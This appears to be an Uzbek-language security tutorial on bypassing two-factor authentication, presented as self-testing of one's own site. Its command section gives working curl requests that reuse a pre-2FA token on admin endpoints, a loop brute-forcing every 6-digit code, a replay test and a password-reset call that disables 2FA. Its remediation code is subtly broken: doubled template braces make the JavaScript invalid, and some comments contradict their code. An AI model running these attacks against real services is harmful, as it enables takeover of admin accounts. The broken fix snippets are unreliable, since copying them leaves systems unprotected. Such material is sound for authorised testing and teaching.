2FA ni chetlab o'tish

≡ Barcha darslar
Tezkor 🔎 Indeks
🔐

2FA ni chetlab o'tish

Ikki bosqichli himoyani o'tkazish
Dars 16 Jiddiy o'z saytingizda
1

Maqsad

ikki bosqichli tekshiruvni o'tkazib yuborish

Ikki faktarli autentifikatsiya paroldan keyingi qadamni mustahkamlaydi. Hujumchi kod kiritmasdan admin paneliga o'tsa — barcha parollar kuchsiz bo'lib qoladi.

2

Tushuntirish

7 ta usul
UsulMisol
Kodni o'zgartirmasdan o'tishBirinchi bosqich javobi session yaratadi
Brute force (6 raqam)1 mln variant, bloklash yo'q
Kod qaytarish (o'z holicha)Telegram/SMS orqali kod sizga keladi
Backup kodlarBitta backup kod bilan doimiy kirish
Rate limit yo'q1000 urish = kirish
To'g'ri emas / vaqt oynasi30 sekundan keyingi kod o'tadi
Parol tiklash orqalisecurity_id bilan 2FA o'chiriladi
3

Qanday aniqlanadi

# 1) 2FA endpointlari
grep -rniE "twofa|2fa|totp|otp|verify.*code|mfa" src/routes/ src/controllers/ | head

# 2) rate limit bormi?
grep -rniE "rateLimit|limiter|attempts|lockout" src/ | head

# 3) 2FA'da parolni qayta so'rayaptimi?
grep -rnE "verifyTfaCode|verify-tfa" src/controllers/authController.js | head
4

Buyruqlar

# 1) parolsiz o'tishga urinish
curl -s -X POST https://site.uz/api/auth/admin-panel-login \
  -H "Content-Type: application/json" \
  -d '{"email":"admin@site.uz","password":"parol"}' | jq .
# 2FA talab qilinishi kerak — aks holda zaiflik

# 2) tem token bilan admin endpoint
T=$(curl -s -X POST https://site.uz/api/auth/admin-panel-login \
  -H "Content-Type: application/json" -d '{"email":"admin@site.uz","password":"parol"}' \
  | jq -r .token)
curl -s -o /dev/null -w "%{http_code}\n" https://site.uz/api/admin/users -H "Authorization: Bearer $T"
# 200 → tem token to'g'ridan-to'g'ri admin

# 3) kodni brute force (o'z tizimingiz!)
for C in $(seq 0 999999); do
  R=$(curl -s -X POST https://site.uz/api/auth/verify-tfa -H "Content-Type: application/json" \
      -H "Authorization: Bearer $T" -d "{\"code\":\"$(printf '%06d' $C)\"}")
  echo "$R" | grep -q '"success":true' && echo "  TOPILDI: $C" && break
  [ $((C % 1000)) -eq 0 ] && echo "  ...$C"
done

# 4) vaqt oynasi (TOTP step)
python3 -c "
import hmac,hashlib,struct,time
def totp(s, step=30, d=0):
    k = base64.b32decode(s.upper() + '=' * ((8-len(s)%8)%8))
    c = struct.pack('>Q', int(time.time()//step) + d)
    h = hmac.new(k, c, hashlib.sha1).digest()
    o = h[19] & 15
    return str((struct.unpack('>I', h[o:o+4])[0] & 0x7fffffff) % 1000000).zfill(6)
import base64
S='JBSWY3DPEHPK3PXP'
for d in (-2,-1,0,1,2): print(d, totp(S,30,d))"
# server bir necha stepni qabul qilsa — kengaytirilgan oyna

# 5) eski kod qayta ishlatiladimi? (replay)
CODE=$(python3 -c "..." )
curl -s -X POST https://site.uz/api/auth/verify-tfa -H "Authorization: Bearer $T" \
  -H "Content-Type: application/json" -d "{\"code\":\"$CODE\"}" | jq .
sleep 35
curl -s -X POST https://site.uz/api/auth/verify-tfa -H "Authorization: Bearer $T" \
  -H "Content-Type: application/json" -d "{\"code\":\"$CODE\"}" | jq .
# ikkalasi ham true → replay mumkin

# 6) 2FA yoqish yo'li (parol tiklash)
curl -s -X POST https://site.uz/api/auth/support-reset-password \
  -H "Content-Type: application/json" \
  -d '{"email":"admin@site.uz","security_id":"12345678","new_password":"Yangi1!"}' | jq .
curl -s -X POST https://site.uz/api/auth/disable-2fa \
  -H "Authorization: Bearer $T" -H "Content-Type: application/json" -d '{}' | jq .
5

Natija

✓ MUvaffaqiyat — hujum ISHLADI
Server javobiNima degani
Parol bilan `/api/admin` → 200**2FS butunlay o'tkazib yuborildi**
Tem token admin endpointda ishlatildi**Vaqtinchalik token chegarasiz**
1000 ta kod urildi, bloklash yo'q**Brute force mumkin**
Eski kod 2 marta ishlatildi**Replay zaifligi**
Parol tiklash 2FA'ni o'chirdi**Eng jiddiy**
✗ Rad etish — hujum ISHLAMADI
Server javobiNima degani
`2fa_required: true` keldi**To'g'ri** — 2FA talab qilinadi
3 xato → 15 daqiqa blok**To'g'ri rate limit**
Parol tiklash 2FA'ni o'chirmadi**To'g'ri**
Kod tem token bilan emas, parol bilan tekshiriladi**To'g'ri dizayn**
6

Zararni yopish

1. Temp token chegarasi

// FAQAT shu uchun: scope va qisqa muddat
const t = jwt.sign({{ userId, purpose: '2fa_pending' }}, SECRET,
  {{ expiresIn: '5m', algorithm: 'HS256' }});

// middleware: har bir admin route da purpose tekshirilsin
if (req.token.purpose !== '2fa_pending' && routeNeedsFullAuth) return fail();

2. Rate limit — 2 bosqichli

// parol bosqichi (IP + email)
limit('login_fail', {{ points: 10, duration: 15 * 60 }});

// 2FA bosqichi (ko'proq — 6 raqam = 1 mln)
limit('tfa_fail', {{ points: 5, duration: 15 * 60 }});
// muvaffaqiyatda tozalash, urishlar bo'lganda email/TGA yuborish

3. Replay himoyasi

// ishlatilgan kodni eslab qolish (30 sek)
const used = await redis.get(`tfa_used:${{userId}}`);
if (used === code) return fail('kod allaqachon ishlatilgan');
await redis.set(`tfa_used:${{userId}}`, code, 'EX', 30);
// yoki: last_step raqamini saqlab, tekshirish
if (step <= user.lastTfaStep) return fail();

4. Parol tiklash 2FA'ni olib tashlasin

// XAVFLI: security_id → parol yangilash → 2FA o'chadi
// TO'G'RI: parol tiklash 2FA holatiga TOG'RILAMASIN.
//         2FA faqat kirishda ishlaydi, tiklashda emas —
//         yoki tiklashda alohida tasdiqlash (SMS + kutish)

5. Vaqt oynasi

// faqat joriy step (drift = ±1 emas)
const step = Math.floor(Date.now() / 1000 / 30);
if (Math.abs(step - tokenStep) > 1) return fail();
7

Tekshirish ro'yxati

  • Temp token faqat `/2fa/verify` da ishlaydi
  • 2FA xatolarida 5 urish / 15 daqiqa blok
  • Ishlatilgan kod 30 sek qayta qabul qilinmaydi
  • Parol tiklash 2FA holatiga tegmaydi
  • Backup kodlar bir marta ishlatiladi va saqlanadi
  • Yangi 2FA yoqilsa, eski tem tokenlar bekor qilinadi
  • Kod brute force bilan sinab ko'rildi